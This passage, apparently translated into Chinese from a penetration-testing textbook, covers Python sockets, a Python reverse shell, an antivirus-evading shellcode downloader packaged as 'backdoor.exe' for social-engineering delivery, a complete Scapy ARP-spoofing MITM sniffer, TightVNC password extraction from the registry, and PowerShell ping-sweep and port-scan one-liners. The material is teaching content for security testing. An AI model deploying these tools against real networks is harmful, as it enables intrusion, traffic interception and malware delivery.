  • 我们的while循环语句使我们的服务器保持运行状态。while循环语句是另一个基本的编程概念:它是一个条件循环,只要给定的条件为真,它就会继续执行。假设我们有一个名为loop的整数变量。我们可以创建一个while循环,从while loop < 15开始,只要loop小于15,我们放入的任何代码都会执行。我们可以通过breakcontinue控制流的嵌套条件。不过,我知道你们程序员的想法:它说在条件为真时执行循环,但没有定义条件。没错,朋友们。我喜欢称这个为存在性循环语句——有点像程序员版的我思故我在。一个以while True开始的循环将会永远执行下去。这样的循环有什么意义呢?这是一种紧凑而简洁的方式,保持程序运行直到代码中的某个条件满足,无论是在调用的函数中还是在嵌套的条件测试中,这时我们会使用break

  • server.accept()处于我们永不结束的while循环中,准备抓取连接客户端的地址数组。Python 中的数组是从0开始的,所以请记住:数组中的第一个值是[0],第五个值是[4],以此类推。地址数组的第一个值是 IP 地址,第二个值是端口,因此我们可以向用户显示连接客户端的详细信息。

  • 我们使用threading.Thread()创建一个线程,并命名为client_handler。接着直接调用client_handler.start()来启动它,不过在你的程序中,你可以创建一些条件来启动该线程。请注意,传递给threading.Thread()的目标参数会调用connect函数。当connect函数完成后,我们会进入一个无限循环,正如这里所示:

图 8.6 – 运行我们的 Python 服务器

图 8.6 – 运行我们的 Python 服务器

在这里,我们看到脚本的实际操作,处理来自安全外壳SSH)客户端(其已自我标识)的连接,然后是一个类似 netcat 的连接,它发送了Hello。在我们重新进入while True循环之前,会显示一条Listening on的消息,因此除了使用Ctrl + C,没有其他简单的方法来终止这个程序。这个程序是服务器功能的框架。只需在其中加入你自己的 Python 魔法,可能性是无穷无尽的。

构建一个 Python 反向 shell 脚本

好的——所以,你正在进行后期利用阶段。你发现自己在一台安装了 Python 但没有其他工具的 Linux 主机上,并且你希望创建一个脚本,在特定场景下调用它,从而自动返回一个 shell。或者,也许你正在编写一个恶意脚本,希望从一个 Linux 目标返回一个 shell。无论是哪种情况,我们先快速看一下一个 Python 反向 shell 的框架,内容如下:

图 8.7 – Python 反向 shell

图 8.7 – Python 反向 shell

现在,我们引入了两个新模块:ossubprocess。这正是 Python 与操作系统交互能力的体现。os模块是一个多功能的操作系统接口模块,它是一个一站式解决方案,即使是在某些操作系统的特性下—当然,如果系统之间的可移植性是一个问题,使用时要小心。os模块非常强大,超出了我们在这里讨论的范围;我鼓励你自己去研究它。subprocess模块通常与os模块一起使用,它允许你的脚本生成进程,获取它们的返回码以供主脚本使用,并与它们的输入、输出和错误管道进行交互。让我们在这里看一下具体的内容:

  • 我们正在创建一个新的 IPv4 流式套接字,并命名为sock

  • 我们使用sock.connect()用新的套接字连接到指定 IP 地址和端口的主机(在我们的示例中,我们只是进行本地测试——这对任何可达的地址都有效)。

  • 启动/bin/sh当然是很好的,但是我们需要输入、输出和错误管道与我们的套接字进行通信。我们通过os.dup2(sock.fileno())来实现这一点,其中02分别代表stdinstdoutstderr

  • 我们通过subprocess.call()调用/bin/sh -i。请注意,这会创建一个我们称之为proc的对象,但我们不需要做任何操作。该进程已经被生成,并且其标准流已经通过我们的套接字建立。Shell 已经在我们的远程屏幕上弹出,而它并不知道,就像这里所示的那样:

图 8.8 – 连接到我们的反向 shell 监听器

图 8.8 – 连接到我们的反向 shell 监听器

现在,我们启动我们的反向 shell 脚本。显然,需要有一个监听器准备好接收来自我们脚本的连接,因此我只需启动nc -l并指定我们在脚本中声明的端口。熟悉的提示符出现,我确认我已获得执行我们脚本的用户的许可。

说到用 Python 助手走私货物,我们来看看如何通过直接将恶意代码从网络传输到内存中来规避抗恶意软件软件。

Python 中的抗恶意软件规避

我们在第七章中探讨了抗恶意软件规避,利用 Metasploit 进行高级利用。我们回顾的技术涉及将我们的负载嵌入到一个无害可执行文件的自然执行流程中。我们还介绍了编码技术,以减少检测签名。然而,解决问题的方法不止一种。(是谁想出了那个可怕的表达方式?)

如果你曾经防御过现实世界中的攻击,你可能见过各种规避技巧。过去常用的技巧往往是低级的(例如我们在第七章中用 Shellter 演示的,利用 Metasploit 进行高级利用),但是检测技术已经有了很大改进。如今,创造一个完全不可检测的威胁变得更加困难,它至少会触发一个可疑文件拦截。

因此,现代攻击往往是低级和高级的结合——利用社交工程和技术手段通过其他渠道将恶意软件传递到目标主机上。我曾经处理过一些案例,其中通过钓鱼技术偷偷进入的负载,仅仅是一个脚本,它利用本地资源从互联网上获取文件。一旦这些文件被获取,它们就在本地组装恶意软件。我们将使用 Python 来创建一个单一的.exe文件,该文件具有两个重要任务,如下所示:

  • 从网络获取负载

  • 将原始负载加载到内存并执行

Python 脚本本身几乎没有做什么,且没有恶意有效负载时,它并没有恶意签名。有效负载本身将不会像通常预期那样作为已编译的可执行文件到来,而是作为 base64 编码的原始 shellcode 字节。

因此,在攻击场景中,我们将有一个目标 Windows 计算机,我们将把我们的可执行文件放在其中进行执行。同时,我们在 Kali 中设置一个 HTTP 服务器,准备好根据适当格式的请求提供原始有效负载(该请求将在 Python 脚本中进行编码)。脚本接着解码有效负载并将其放入内存中。但首先,我们需要能够将 Python 脚本转换为 EXE 文件。

创建 Python 脚本的 Windows 可执行文件

我们需要的有两个组件——pip,一个 Python 包管理工具,以及 PyInstaller,一个很棒的工具,它读取你的 Python 代码,确定它的所有依赖项(你可能通过在 Python 环境中运行它而理所当然地使用了这些依赖),并从你的脚本生成一个 EXE 文件。不过,PyInstaller 有一个重要的限制——你需要在目标平台上生成 EXE 文件。所以,你需要一台 Windows 计算机来启动这个过程。

用你的 Windows 计算机进入 Commando 模式

我最喜欢的玩具之一是通过 Mandiant 的优秀 虚拟机VM)将一台 Windows 电脑转变为攻击平台。最简单的理解方式是 Kali for Windows——一个渗透测试的通用操作系统载荷。它并不是一个预装的发行版,而是一个精致的安装程序,能够将你的普通 Windows 机器转换为攻击平台,下载所需的所有内容并为你调整设置。你在本次练习中并不需要它,但我会将它用作我的进攻性 Windows 环境。我认为没有它的渗透测试实验室是不完整的!

在我们的 Windows 机器上,已经安装并准备好 Python。(你也已经安装并准备好 Python 了,对吧?)所以,我执行了这个命令:

C:> python –m pip install pyinstaller

这将获取 PyInstaller 并为我们准备好。它是一个独立的命令行程序,不是一个模块,因此你可以从相同的命令提示符运行 pyinstaller 命令。

准备你的原始有效负载

再次回到那个永远美丽的 msfvenom。我们这里没有做什么新鲜事,但如果你不是从 第七章Metasploit 高级利用)过来的,建议先查看 msfvenom 的相关内容。让我们开始吧。看看下面的截图:

图 8.9 – 使用 msfvenom 生成原始有效负载

图 8.9 – 使用 msfvenom 生成原始有效负载

在这里,我们有一个快速简单的绑定有效负载;这一次,目标将会监听我们的连接以生成一个 shell。请注意,我指定了应避免使用空字节(--bad-chars),而且不需要生成 EXE 文件或任何其他特殊格式,-f raw 参数使得输出格式为原始格式:纯机器码(十六进制)。最终结果是 355 字节,但因为我没有将其编译或转换成其他任何形式,新的 shellcode.raw 文件就是 355 字节。

最后一步是创建一个将通过网络分阶段传输的有效负载。我们将对文件进行 base64 编码,主要有一个原因以及一个可能的副作用。主要原因是 base64 设计用于便于表示二进制数据,因此它不太可能被一些库函数篡改,这些函数可能试图检查损坏或者甚至防止注入。根据防御措施的不同,可能的副作用是让代码变得更难以检测。

base64 编码和解码已经内建于 Kali 中,并且作为一个模块在 Python 中提供,因此我们可以轻松地在我们这端进行 base64 编码,然后编写脚本在将其加载到内存之前快速解码,如此处所示:

图 8.10 – Base64 编码的 Shellcode,准备下载

图 8.10 – Base64 编码的 Shellcode,准备下载

关于 base64 的附注:虽然 base64 编码在一些系统中很流行,作为隐藏数据的一种手段,但它仅仅是一个不同的基数系统,而不是加密。防御者应该知道永远不能依赖 base64 来确保机密性。

我们已经准备好打开我们的惊喜,但我们仍然需要获取代码——让我们来看一下。

在 Python 中编写你的有效负载获取与交付代码

现在,让我们回到 Python,编写攻击的第二阶段。记住,最终我们将得到一个特定于 Windows 的 EXE 文件,因此这个脚本需要在你的 Windows PyInstaller 主机上运行。你可以在 Kali 上编写然后传输过来,或者直接在 Windows 上用 Python 编写,这样可以省去一步。

需要导入九行代码和一个 355 字节的有效负载。还不错,这是一个很好的示范,展示了 Python 的轻量级特性,正如我们在这里看到的:

图 8.11 – Shellcode 获取器

图 8.11 – Shellcode 获取器

让我们逐步分析这段代码,具体如下:

  • 我们需要查看三个新的 import 语句。请注意,第一个语句是 from ... import,这意味着我们正在精确选择要使用的源模块(或在本例中,是一个模块包)中的组件。在我们的案例中,我们不需要全部的 统一资源定位符URL)处理;我们只需打开一个已定义的 URL,因此我们只引入 urlopen

  • ctypes 导入是一个外部函数库;也就是说,它使得在共享库(包括 动态链接库DLLs))中进行函数调用成为可能。

  • urlopen() 访问定义的 URL(我们通过在包含 base64 编码的有效载荷的目录中执行 python -m SimpleHTTPServer 来设置该 URL),并将捕获内容存储为 pullhttp

  • 我们使用 base64.b64decode() 并传递 pullhttp.read() 作为参数,将我们的原始 shellcode 存储为 shellcode

  • 现在,我们使用一些 ctypes 魔法。ctypes 足够复杂,可以作为一章独立讨论,所以我鼓励大家进一步研究;目前,我们为我们的有效载荷分配了一些缓冲区空间,使用 len() 为我们的有效载荷分配与其大小相同的空间。然后,我们使用 ctypes.cast() 将我们的缓冲区空间转换为函数指针。当我们这么做时,我们就得到了 exploit_func()——实际上,这是一个 Python 函数,我们可以像调用任何普通函数一样调用它。当我们调用它时,我们的有效载荷就会执行。

  • 那么,还有什么可以做的呢?我们调用我们的 exploit_func() 漏洞利用函数。

在我的示例中,我在 Vim 中编写了这个代码,并将其存储为 backdoor.py。我将它复制到我的 Windows 机器上,并执行 PyInstaller,使用 --onefile 参数指定我要生成一个单一的可执行文件,如下所示:

pyinstaller --onefile backdoor.py

PyInstaller 输出 backdoor.exe。现在,我只需将这个文件作为社交工程活动的一部分发送出去,鼓励目标执行。别忘了设置你的 HTTP 服务器,这样目标机器就可以抓取有效载荷!在这个截图中,我们可以看到 backdoor.exe 正如预期那样抓取有效载荷:

图 8.12 – 获取代码从 SimpleHTTPServer 获取 shellcode

图 8.12 – 获取代码从 SimpleHTTPServer 获取 shellcode

最后,让我们看看使用这种技术进行规避。在导入过程中,载荷本身并没有触发任何警报。我们的可执行文件本身,终端会看到它,因此可能会被扫描,在编写本文时,它仅被 7% 的杀毒软件检测到。

现在是时候将我们的 Python 网络技术提升到下一个级别了。让我们回顾一下我们的一些 局域网LAN)恶作剧,并感受一下使用 Scapy 进行低级别操作的可能性。

Python 和 Scapy – 一对经典组合

Python 和 Scapy 之间的缘分在第二章中已介绍——嘿,我等不及了。提醒一下,Scapy 是一个数据包操作工具。我们经常看到一些特别方便的工具被描述为某项任务的瑞士军刀;如果真是这样,那么 Scapy 就是外科手术刀。它也特别是一个 Python 程序,所以我们可以将它的功能导入到我们的脚本中。你可以用 Python 编写自己的网络渗透测试工具,任何工具都行;你可以替代 Nmap、netcat、p0f、hping,甚至像 arpspoof 这样的工具。让我们来看看使用 Python 和 Scapy 创建一个地址解析协议ARP)欺骗攻击工具需要什么。

使用 Python 和 Scapy 重温 ARP 欺骗

让我们从底层开始构建一个第 2 层 ARP 欺骗攻击。如前所述,代码这里是一个框架;通过一些巧妙的 Python 编写,你有潜力将其转化为强大的工具。首先,我们导入库并进行一些声明,具体如下:

#!/usr/bin/python3 
from scapy.all import * 
import os 
import sys 
import threading 
import signal 
interface = "eth0" 
target = "192.168.108.173" 
gateway = "192.168.108.1" 
packets = 1000 
conf.iface = interface 
conf.verb = 0

看看这些import语句——Scapy 所有的力量。我们熟悉 osthreading,那么让我们来看看 syssignalsys 模块是我们在使用 Python 时始终可以访问的,它允许我们与解释器交互——在这个例子中,我们只是用它来退出 Python。signal 模块让你的脚本可以处理信号(在进程间通信IPC)上下文中)。信号是发送给进程或线程的消息,告知某个事件——比如异常或除零错误。这使得我们的脚本可以处理这些信号。

接下来,我们将界面、目标 IP 和网关 IP 定义为字符串。要嗅探的数据包数量声明为整数。conf 属于 Scapy;我们使用刚才声明的 interface 变量来设置界面,并将冗余级别设置为 0

现在,让我们深入了解一些函数,具体如下:

def restore(gateway, gwmac_addr, target, targetmac_addr):
   print("\nRestoring normal ARP mappings.")
   send(ARP(op = 2, psrc = gateway, pdst = target, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gwmac_addr), count = 5)
   send(ARP(op = 2, psrc = target, pdst = gateway, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = targetmac_addr), count = 5)
   sys.exit(0)
def macgrab(ip_addr):
   responses, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = ip_addr), timeout = 2, retry = 10)
   for s,r in responses:
     return r[Ether].src
     return None
def poison_target(gateway, gwmac_addr, target, targetmac_addr):
   poison_target = ARP()
   poison_target.op = 2
   poison_target.psrc = gateway
   poison_target.pdst = target
   poison_target.hwdst = targetmac_addr
   poison_gateway = ARP()
   poison_gateway.op = 2
   poison_gateway.psrc = target
   poison_gateway.pdst = gateway
   poison_gateway.hwdst = gwmac_addr
   print("\nMitM ARP attack started.")
   while True:
     try:
       send(poison_target)
       send(poison_gateway)
       time.sleep(2)
     except KeyboardInterrupt:
       restore(gateway, gwmac_addr, target, targetmac_addr)
   return

这里有很多信息,所以让我们更详细地检查这些函数,具体如下:

  • def restore() 不是我们攻击网络的方式——它是用来清理我们的“烂摊子”。记住,ARP 欺骗会修改网络上其他节点的第 2 层到第 3 层的映射。如果你这么做然后断开连接,那些表会保持不变,直到 ARP 消息指示其他内容。我们使用 Scapy 的 send(ARP()) 函数来恢复健康的表。

  • def macgrab() 会接受一个 IP 地址作为参数,然后使用 Scapy 的 srp() 函数创建 ARP 消息并记录响应。macgrab() 使用 [Ether] 读取媒体访问控制MAC)地址,并返回该值。

  • def poison_target()是我们实施欺骗的函数。我们为man-in-the-middleMITM)攻击的两个端点:poison_gatewaypoison_target准备了 Scapy 的send()函数参数。尽管这些多行代码占用了更多页面空间,但我们的脚本非常易读,我们可以看到构建的数据包的结构:poison_targetpoison_gateway都被设置为ARP(),且op = 2—换句话说,我们正在发送无请求的 ARP 回复。当目标的psrc 设置被设为gateway时,诱饵交换就显现出来,网关的psrc设置则设为targetpdst设置相反)。我们熟悉的while True循环就是发送数据包的地方。我们看到信号处理出现在except KeyboardInterrupt,它会调用restore(),以便清理工作。

这很激动人心,但我们甚至还没有开始;我们已经定义了这些函数,但还没有任何地方调用它们。接下来让我们进行一些繁重的工作,具体如下:

gwmac_addr = macgrab(gateway) 
targetmac_addr = macgrab(target) 
if gwmac_addr is None: 
   print("\nUnable to retrieve gateway MAC address. Are you connected?") 
   sys.exit(0) 
else: 
   print("\nGateway IP address: %s\nGateway MAC address: %s\n" % (gateway, gwmac_addr)) 
if targetmac_addr is None: 
   print("\nUnable to retrieve target MAC address. Are you connected?") 
   sys.exit(0) 
else: 
   print("\nTarget IP address: %s\nTarget MAC address: %s\n" % (target, targetmac_addr)) 
mitm_thread = threading.Thread(target = poison_target, args = (gateway, gwmac_addr, target, targetmac_addr)) 
mitm_thread.start() 
try: 
   print("\nMitM sniffing started. Total packets to be sniffed: %d" % packets) 
   bpf = "ip host %s" % target 
   cap_packets = sniff(count=packets, filter=bpf, iface=interface) 
   wrpcap('arpMITMresults.pcap', cap_packets) 
   restore(gateway, gwmac_addr, target, targetmac_addr) 
except KeyboardInterrupt: 
   restore(gateway, gwmac_addr, target, targetmac_addr) 
   sys.exit(0)

下面是发生的事情:

  • 我们首先通过调用macgrab()来获取网关和目标 IP 地址。回想一下,macgrab()返回的是 MAC 地址,然后分别存储为gwmac_addrtargetmac_addr

  • 可能的返回值是None,所以我们的if...else语句会处理这种情况:如果返回值不是None,则将值打印到屏幕上,否则会发出警告,并调用sys.exit()

  • threading.Thread()类将poison_target()定义为我们的目标函数,并将目标和网关信息作为参数传递。

  • mitm_thread.start() 启动了攻击,但它是作为一个线程运行的。程序继续执行try语句。

  • 这里是我们设置嗅探器的地方。这是一个有趣的用例,展示了如何在 Python 中使用 Scapy;请注意,我们将过滤器构造为一个名为bpf的字符串变量。调用sniff()时,返回的数据会以cap_packets的形式存储在内存中。wrpcap()会创建一个pcap格式的数据包捕获文件。注意,sniff()也传递了数据包数量作为参数,那么当这个数字用完时会发生什么?代码会继续调用restore()。如果在此之前收到Ctrl + C的输入,restore()仍然会被调用。

正如你所看到的,这个演示中写的print语句是基础的。我鼓励你让它看起来更漂亮一些。

别忘了进行路由

确保你的系统已经设置为转发数据包,使用命令sysctl net.ipv4.ip_forward=1

使用 Wireshark 或任何数据包嗅探器来验证成功。你是从底层写这段代码的,因此知道目标的第 2 层和第 3 层地址只是战斗的一部分——你还需要确保代码正确地处理了这些地址。对于 ARP 来说,交换源和目的地址是很容易的!

一旦我的会话完成,我可以快速验证我的数据包捕获是否按预期保存。更好的是,打开 Wireshark 查看你的嗅探器捕获了什么。这是它找到的内容:

图 8.13 – 我们准备好的 pcap 文件,待复查

图 8.13 – 我们准备好的 pcap 文件,待复查

这非常简单,数据包捕获自己就完成了!我把如何将这些片段融入你自己的定制工具集交给你去探索。

总结

在本章中,我们进行了一个针对渗透测试人员的 Python 速成课程。我们从一些 Python 基础知识和选择编辑器环境开始。基于过去的编程经验和本书中的内容,我们逐行编写了几个有助于渗透测试人员的工具——一个简单的客户端、一个简单的服务器,甚至一个几乎完全无法被传统杀毒软件检测到的有效载荷下载器。为了结束本章,我们探索了使用 Scapy 进行低级网络操作,将其作为我们的程序的源库导入。

现在我们已经打下了 Python 的坚实基础,接下来的章节将重点介绍 Windows 平台下强大自动化和脚本编写的工具:PowerShell。

问题

回答以下问题以测试你对本章的理解:

  1. 如何将 Python 模块导入到你的代码中使用?

  2. Socket的使用风险如何影响你脚本的可移植性?

  3. 如果没有#!/usr/bin/python3作为代码的第一行,无法运行 Python 脚本。(正确 | 错误)

  4. 有哪些两种方法可以停止while True循环?

  5. PyInstaller 可以在任何平台上运行以生成 Windows EXE 文件。(正确 | 错误)

  6. 在 Python 3 中,线程变成了 _________。

  7. 如果没有定义restore()函数,ARP 攻击将完全失败。(正确 | 错误)

进一步阅读

关于本章所涉及的主题的更多信息,请查看以下资源:

第九章:PowerShell 基础

Windows——这是你既爱又恨的操作系统。或者说是恨又爱?无论如何,它在安全专家中存在分歧。让一个完全不懂的人走进一个安全会议,只需要抱怨 Windows,他就能轻松融入其中。无论你立场如何,有一点我们可以肯定,那就是它的强大。从 2006 年 PowerShell 问世开始,评估 Windows 环境的方式发生了剧变。突然,一个单独的 Windows 主机就内置了一个复杂的任务自动化和管理框架。

渗透测试中的后渗透活动所得到的重要教训之一是,我们并不总是在入侵一台机器,窃取其中的数据,然后离开;如今,即使是一个低价值的 Windows 控制点,也会成为一个独立的攻击平台。展示这一点的最戏剧性方式之一是通过利用我们在控制点上的 PowerShell。

本章将涵盖以下主题:

  • 探索 PowerShell 命令和脚本语言

  • 理解 PowerShell 中的基本后渗透操作

  • 介绍 PowerShell Empire 框架

  • 探索 PowerShell Empire 中的监听器、预备阶段和代理概念

技术要求

本章的操作系统要求如下:

  • Kali Linux

  • Windows 7 或 10

给 shell 提供动力 – PowerShell 基础

PowerShell 是一个用于任务自动化和配置管理的命令行和脚本语言框架。我没有指定仅适用于 Windows,因为 PowerShell 已经是跨平台的,至今已有几年了;然而,它仍然是微软的产品。如今,它已经内置于 Windows 中,尽管对攻击者具有强大的潜力,但它并不会被完全封锁。对于今天的 Windows 渗透测试人员来说,它是他们武器库中一项全面且强大的工具,恰好也安装在所有受害者的电脑上。

什么是 PowerShell?

当你第一次接触 PowerShell 时,它可能让人感觉有些压倒性,但归根结底,它只是一个花哨的界面。PowerShell 通过提供者与外部功能进行交互,允许你访问那些在命令行中无法轻易利用的功能。从某种程度上来说,它们就像硬件驱动程序——代码,它们为软件和硬件之间的通信提供了途径。提供者使我们能够通过命令行与 Windows 的功能和组件进行通信。

当我将 PowerShell 描述为任务自动化和配置管理框架时,这更符合微软对 PowerShell 的定义。作为黑客,我们关注的是这些工具能做什么,而不一定是它们的创造者如何定义它们;从这个角度来看,PowerShell 就是经过增强的 Windows 命令行。它可以做任何你在标准 Windows 命令行中做的事情。例如,启动 PowerShell 并尝试使用传统的 ipconfig 命令,如下图所示:

图 9.1 – PowerShell 能做 CMD 能做的一切

图 9.1 – PowerShell 能做 CMD 能做的一切

这完全没有问题。现在我们知道 PowerShell 允许我们继续执行的操作,让我们看看它的独特之处。

首先,标准的 Windows CMD 完全是微软的创作。虽然命令行外壳的概念并非 Windows 独有,但它的实现方式是独特的,因为 Windows 一直以来都以自己的方式做事。另一方面,PowerShell 吸取了其他外壳和语言中的一些最佳思想,并将它们结合在一起。你是否曾在 Linux 中花了很多时间,然后不小心在 Windows 命令行中输入了ls而不是dir?那 PowerShell 会发生什么呢?让我们看看:

图 9.2 – 比较 dir 和 ls

图 9.2 – 比较 dir 和 ls

没错——ls命令在 PowerShell 中也能使用,同时也有老式的dir和 PowerShell 的Get-ChildItem。让我们更深入地了解 PowerShell 原生的做法:cmdlet。

PowerShell 的 cmdlet 和 PowerShell 脚本语言

当我们谈论lsdir时,我已经引起了你的注意,但你可能会对Get-ChildItem感到疑惑。它听起来像是我会在购物清单上写的一项提醒自己给孩子们买恐龙玩具的事项(他们现在真的很喜欢恐龙)。它是 PowerShell 的一种特殊命令方式,叫做命令小工具cmdlets)。cmdlet 实际上只是一个命令,至少从概念上来说;在背后,它们是实现特定功能的.NET 类。它们是 PowerShell 中原生的命令实体,使用一种独特的自解释语法风格:动词-名词。在我们继续之前,让我们先熟悉一下最重要的 cmdlet——Get-Help

图 9.3 – Get-Help cmdlet 始终伴随左右

图 9.3 – Get-Help cmdlet 始终伴随左右

只需输入Get-Help [*cmdlet 名称*],你就能找到关于该 cmdlet 的详细信息,包括示例用法。最棒的是?它支持通配符。尝试使用Get-Help Get*并注意以下几点:

图 9.4 – 使用通配符与 cmdlet

图 9.4 – 使用通配符与 cmdlet

Get-Help功能非常强大,我们现在只是触及了皮毛。现在我们知道如何在过程中获取帮助,让我们尝试一些关于 Windows 注册表的基本操作。

使用 Windows 注册表

让我们使用Get cmdlet 从注册表中获取一些数据,然后将其转换为不同的格式供我们使用。巧合的是,我攻击的这台机器正在运行 TightVNC 服务器,它在注册表中存储了控制密码的加密副本。这种加密方式众所周知可以轻松破解,因此我们将仅使用 PowerShell 以十六进制格式获取密码,如下所示:

$FormatEnumerationLimit = -1

Get-ItemProperty -Path registry::hklm\software\TightVNC\Server -Name ControlPassword

$password = 139, 16, 57, 246, 188, 35, 53, 209

ForEach ($hex in $password) {

[Convert]::ToString($hex, 16) }

让我们看看我们在这里做了什么。首先,我将$FormatEnumerationLimit全局变量设置为-1。作为实验,尝试在没有设置此变量的情况下提取密码——会发生什么?密码在 3 个字节后被截断。你可以设置$FormatEnumerationLimit来定义显示多少字节,默认情况下是节省空间。将其设置为-1实际上是说无限制

接下来,我们必须执行Get-ItemProperty cmdlet 从注册表中提取值。请注意,我们可以使用hklm作为HKEY_LOCAL_MACHINE的别名。如果没有-Name参数,它将显示Server键中的所有值。PowerShell 将显示我们请求的项的属性:

图 9.5 – 将十进制数组转换为十六进制

图 9.5 – 将十进制数组转换为十六进制

到目前为止,我们的工作从技术上讲已经完成——我们需要的是ControlPassword值,现在我们已经得到了它。只是有一个问题:这些字节是以十进制(decimal)表示的。这对人类友好,但对二进制不友好,所以让我们用 PowerShell 将密码转换一下。(嘿,我们已经在这里了。)首先,设置一个$password变量,并用逗号分隔原始的十进制值。这告诉 PowerShell 你正在声明一个数组。为了好玩,尝试将数字放入引号中——会发生什么?此时,变量将变成一个包含你的数字和逗号的字符串,而ForEach只会看到一个项。说到ForEach,这个 cmdlet 就是我们的最后一步——它定义了一个for-each循环(我早就告诉你这些 cmdlet 的名称很容易理解),用于对数组中的每一项进行操作。在这个例子中,操作就是将每个值转换为十六进制。

这只是一个小例子。PowerShell 可以用来操作 Windows 操作系统中的任何东西,包括文件和服务。记住,PowerShell 能做任何 GUI 能够做的事。

PowerShell 中的管道和循环

如我之前所提到的,PowerShell 继承了最强大的 shell 的基因。你可以直接使用你已经熟悉的技巧。将命令输出管道到for循环?那对孩子们来说是小菜一碟。

以我们之前的例子为例:我们得到了一个十进制值的数组,我们需要将每个值转换为十六进制。即使是初学者程序员也应该能明显看出这是一个理想的 for 循环场景(例如 PowerShell 中的 ForEach)。PowerShell 中管道的妙处在于,你可以将一个 cmdlet 输出的对象管道到另一个 cmdlet,包括 ForEach。换句话说,你可以执行一个输出列表的 cmdlet,然后将该列表管道到 for 循环中。通过 ForEach cmdlet 的单字符别名 %,生活变得更简单了。来看个例子,这两行代码做的是相同的事情:

ls *.txt | ForEach-Object {cat $_}

ls *.txt | %

如果在包含多个文本文件的路径中执行,ls *.txt 命令将产生一个结果列表,这些结果将作为 ForEach-Object 的输入,每个项目都表示为 $_

从技术上讲,for 循环和 for-each 循环之间是有区别的,后者是一种特殊的 for 循环。标准的 for 循环基本上会执行定义次数的代码,而 for each 循环则会对数组或列表中的每个项目执行代码。

我们可以用两个句点 (..) 定义一个数字范围。例如,5..9 告诉 PowerShell,5, 6, 7, 8, 9。通过这个简单的语法,我们可以将数字范围管道到 for 循环中,这对于做一个固定次数的任务非常方便,甚至可以将这些数字用作命令的参数。(我觉得我听到你内心的黑客在说——我们可以做一个 PowerShell 端口扫描器,是不是? 来吧,别剧透了。继续往下读。)因此,通过将数字范围管道到 ForEach,我们可以将每个数字作为 $_ 来处理。如果我们运行这个命令,你觉得会发生什么?让我们看看:

1..20 | %

自然地,我们可以构建管道 —— 一系列的 cmdlet 将输出传递到下游。例如,看看下面这个命令:

Get-Service Dhcp | Stop-Service -PassThru -Force | Set-Service -StartupType Disabled

请注意,通过在管道中的第一个 cmdlet 中定义 Dhcp 服务,Stop-ServiceSet-Service 已经知道我们正在处理的内容。

我听到你从后面喊:“那对于更严肃的开发来说,有没有交互式脚本环境?” 不用担心,我来告诉你。

更棒的是 —— PowerShell 的 ISE

PowerShell 最酷的功能之一是内置的 交互式脚本环境(ISE),它包含了一个交互式外壳,你可以像在正常的 shell 会话中一样运行命令,同时还有一个具有语法意识和调试功能的编码窗口。

你可以像在任何其他编程环境中一样,编写、测试并发送脚本:

图 9.6 – Windows PowerShell ISE

图 9.6 – Windows PowerShell ISE

你编写的任何 PowerShell 脚本文件的扩展名都是 ps1。不幸的是,并不是所有的 PowerShell 安装都相同,不同版本的 PowerShell 之间存在一些差异;当你希望在某个主机上运行你编写的 ps1 文件时,请记住这一点。

这是对 PowerShell 基础知识的愉快介绍,但现在,我们需要开始理解 PowerShell 如何成为你黑客工具包中最喜爱的工具之一。

PowerShell 后期利用

PowerShell 是一个完整的 Windows 管理框架,并且它是内置在操作系统中的,无法完全被阻止。当我们谈论 Windows 环境中的后期利用时,考虑到 PowerShell 是必不可少的—它不是一个锦上添花的工具,而是一个必须具备的工具。我们将在本书的最后两章中更详细地探讨后期阶段,但现在,让我们先介绍一下 PowerShell 在将我们的攻击推进到下一个阶段,并一步步接近完全控制中的作用。

从 Pivot 点进行 ICMP 枚举与 PowerShell

所以,你已经在 Windows 7 或 10 的系统上获取了一个立足点。抛开上传工具的可能性,我们能否利用一个普通的 Windows 7 或 10 系统,寻找潜在的下一个突破点?通过 PowerShell,几乎没有什么我们做不到的事情。

正如我们之前提到的,我们可以将一系列数字传递给 ForEach。比如,如果我们在一个子网掩码为 255.255.255.0 的网络中,我们的范围可以是从 1 到 255,然后将这些数字传递给 ping 命令。让我们来看一下实际操作:

1..255 | % {echo "192.168.63.\(_"; ping -n 1 -w 100 192.168.63.\)_ | Select-String ttl}

如你所见,这将查找带有 ttl 字符串的结果,从而响应 ping 请求:

图 9.7 – 快速 ping 扫描器

图 9.7 – 快速 ping 扫描器

让我们沿着管道继续往下走。首先,我们定义一个数字范围:一个从 1 到 255 的闭区间数组。这个数组作为输入传递给 ForEach 别名 %,然后我们运行一个 echo 命令和一个 ping 命令,使用循环中的当前值作为 IP 地址的最后一个十进制八位数。正如你已经知道的,ping 返回状态信息;这个输出被进一步传递给 Select-String,用于提取 ttl 字符串,因为这是知道我们是否有命中响应的一种方式(只有主机响应了 ping 请求,我们才能看到 TTL 值)。瞧—这是一个 PowerShell ping 扫描器。虽然它很慢且粗糙,但我们只能使用手头的工具。

你可能会想,如果我们可以启动 PowerShell,为什么我们就不能拥有 Meterpreter 会话或者上传工具集?也许可以,但也可能不行—或许我们是通过破解一个弱密码获得 VNC 访问权限的,但这并不等于系统被完全控制或者出现在域中。另一个可能性是内部威胁—可能某人忘记锁定工作站,我们偷偷走过去坐下,能做的其中一件事就是执行一个 PowerShell 一行代码。渗透测试员必须始终保持灵活性,并保持开放的思维。

你可以想象,在完成 ping 扫描后,下一步就是寻找开放端口,直接在 PowerShell 会话中进行。

PowerShell 作为 TCP 连接端口扫描器

现在我们已经有了目标主机,我们可以使用以下一行命令进一步了解它,这个命令旨在尝试连接所有指定的端口:

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.63.147", $_)) "开放端口 - \(_"} 2>\)null

让我们看看在快速扫描少数几个主机后会是什么样子:

图 9.8 – PowerShell 端口扫描

图 9.8 – PowerShell 端口扫描

如你所见,这只是将我们所学的基础知识提升到下一个层次。1..1024 定义了我们的端口范围,并将数组传递到 %;每次迭代时,都会启动一个 TCP 客户端模块,尝试连接该端口。2>$null 会将 STDERR 丢弃;换句话说,返回的错误意味着端口没有开放,响应会被丢弃。

